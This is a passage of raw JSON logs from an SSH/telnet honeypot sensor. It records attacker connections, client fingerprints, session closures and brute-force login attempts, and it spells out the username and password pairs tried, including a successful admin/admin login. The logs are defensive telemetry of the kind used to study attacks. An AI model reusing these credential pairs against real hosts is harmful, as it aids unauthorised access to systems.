af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:03.692478Z","src_ip":"171.244.141.86","session":"5311de56116e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.859320402145386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:04.179844Z","src_ip":"204.10.38.242","session":"b3912062bd1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.184245824813843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:04.204925Z","src_ip":"204.10.38.242","session":"dfd44645d7d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:04.216426Z","src_ip":"80.94.92.182","session":"add67e47e2b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"909090","message":"login attempt [root/909090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:04.704920Z","src_ip":"171.244.141.86","session":"5311de56116e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.69573664665222,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:05.043147Z","src_ip":"204.10.38.242","session":"17445f4f1ae9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:05.953806Z","src_ip":"171.244.141.86","session":"5311de56116e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.606552839279175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:07.065026Z","src_ip":"204.10.38.242","session":"9ac5351406f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18204140663147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:07.128197Z","src_ip":"204.10.38.242","session":"521b81dfedf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":13412,"dst_ip":"10.17.0.5","dst_port":22,"session":"72e83340b9fc","protocol":"ssh","message":"New connection: 87.251.64.176:13412 (10.17.0.5:22) [session: 72e83340b9fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:08.780433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:08.784894Z","src_ip":"87.251.64.176","session":"72e83340b9fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:08.881473Z","src_ip":"87.251.64.176","session":"72e83340b9fc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:09.174129Z","src_ip":"87.251.64.176","session":"72e83340b9fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:09.277687Z","session":"72e83340b9fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:09.374972Z","src_ip":"87.251.64.176","session":"72e83340b9fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:09.474804Z","src_ip":"87.251.64.176","session":"72e83340b9fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.011051654815674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:11.465417Z","src_ip":"204.10.38.242","session":"c7004892a33f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":54822,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1d2b68d3ba9","protocol":"ssh","message":"New connection: 103.146.202.174:54822 (159.203.135.109:22) [session: e1d2b68d3ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:13.400067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:13.404947Z","src_ip":"103.146.202.174","session":"e1d2b68d3ba9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:13.645796Z","src_ip":"103.146.202.174","session":"e1d2b68d3ba9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lw123456","message":"login attempt [root/Lw123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:14.643337Z","src_ip":"103.146.202.174","session":"e1d2b68d3ba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:15.887281Z","src_ip":"103.146.202.174","session":"e1d2b68d3ba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":34390,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac13ce308528","protocol":"telnet","message":"New connection: 204.10.38.242:34390 (159.203.135.109:23) [session: ac13ce308528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:16.482038Z"}
{"eventid":"cowrie.session.closed","duration":31.047672986984253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:18.443260Z","src_ip":"204.10.38.242","session":"e28ca7dbb448","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00196719169617,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:24.206986Z","src_ip":"191.251.162.82","session":"eae7f0253e82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.251.162.82","src_port":60832,"dst_ip":"159.203.135.109","dst_port":23,"session":"17eaa885409c","protocol":"telnet","message":"New connection: 191.251.162.82:60832 (159.203.135.109:23) [session: 17eaa885409c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:25.227218Z"}
{"eventid":"cowrie.session.closed","duration":120.0016405582428,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:26.282972Z","src_ip":"191.251.162.82","session":"e52cccbc4d9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.251.162.82","src_port":33000,"dst_ip":"159.203.135.109","dst_port":23,"session":"f90351b14e41","protocol":"telnet","message":"New connection: 191.251.162.82:33000 (159.203.135.109:23) [session: f90351b14e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:27.749686Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46444,"dst_ip":"159.203.135.109","dst_port":22,"session":"d255d8debe4c","protocol":"ssh","message":"New connection: 159.203.92.129:46444 (159.203.135.109:22) [session: d255d8debe4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:27.764699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:27.769277Z","src_ip":"159.203.92.129","session":"d255d8debe4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:27.773424Z","src_ip":"159.203.92.129","session":"d255d8debe4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Admin@server","message":"login attempt [ansible/Admin@server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:27.783730Z","src_ip":"159.203.92.129","session":"d255d8debe4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:28.789942Z","src_ip":"159.203.92.129","session":"d255d8debe4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.726723194122314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:33.605521Z","src_ip":"204.10.38.242","session":"f3a5b5e52c0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75119709968567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:34.202191Z","src_ip":"204.10.38.242","session":"d3b4e86d0018","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":52670,"dst_ip":"10.17.0.5","dst_port":22,"session":"54a7a41276df","protocol":"ssh","message":"New connection: 45.43.86.48:52670 (10.17.0.5:22) [session: 54a7a41276df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:46.351784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:46.358593Z","src_ip":"45.43.86.48","session":"54a7a41276df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:46.441666Z","src_ip":"45.43.86.48","session":"54a7a41276df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdlkj12","message":"login attempt [ubuntu/asdlkj12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:46.806877Z","src_ip":"45.43.86.48","session":"54a7a41276df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.729291915893555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:47.211219Z","src_ip":"204.10.38.242","session":"ac13ce308528","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:47.895261Z","src_ip":"45.43.86.48","session":"54a7a41276df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":57926,"dst_ip":"159.203.135.109","dst_port":22,"session":"143b1d54d447","protocol":"ssh","message":"New connection: 171.244.141.86:57926 (159.203.135.109:22) [session: 143b1d54d447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:04.605644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:04.610241Z","src_ip":"171.244.141.86","session":"143b1d54d447","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:04.855115Z","src_ip":"171.244.141.86","session":"143b1d54d447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwe123..","message":"login attempt [admin/qwe123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:05.855768Z","src_ip":"171.244.141.86","session":"143b1d54d447","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:07.099193Z","src_ip":"171.244.141.86","session":"143b1d54d447","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":37792,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ff35ac558b5","protocol":"telnet","message":"New connection: 204.10.38.242:37792 (159.203.135.109:23) [session: 0ff35ac558b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:08.690559Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52334,"dst_ip":"159.203.135.109","dst_port":22,"session":"39c436bb4dc3","protocol":"ssh","message":"New connection: 159.203.92.129:52334 (159.203.135.109:22) [session: 39c436bb4dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:10.654507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:10.659081Z","src_ip":"159.203.92.129","session":"39c436bb4dc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:58:10.669507Z","src_ip":"159.203.92.129","session":"39c436bb4dc3","protocol":"ssh"}
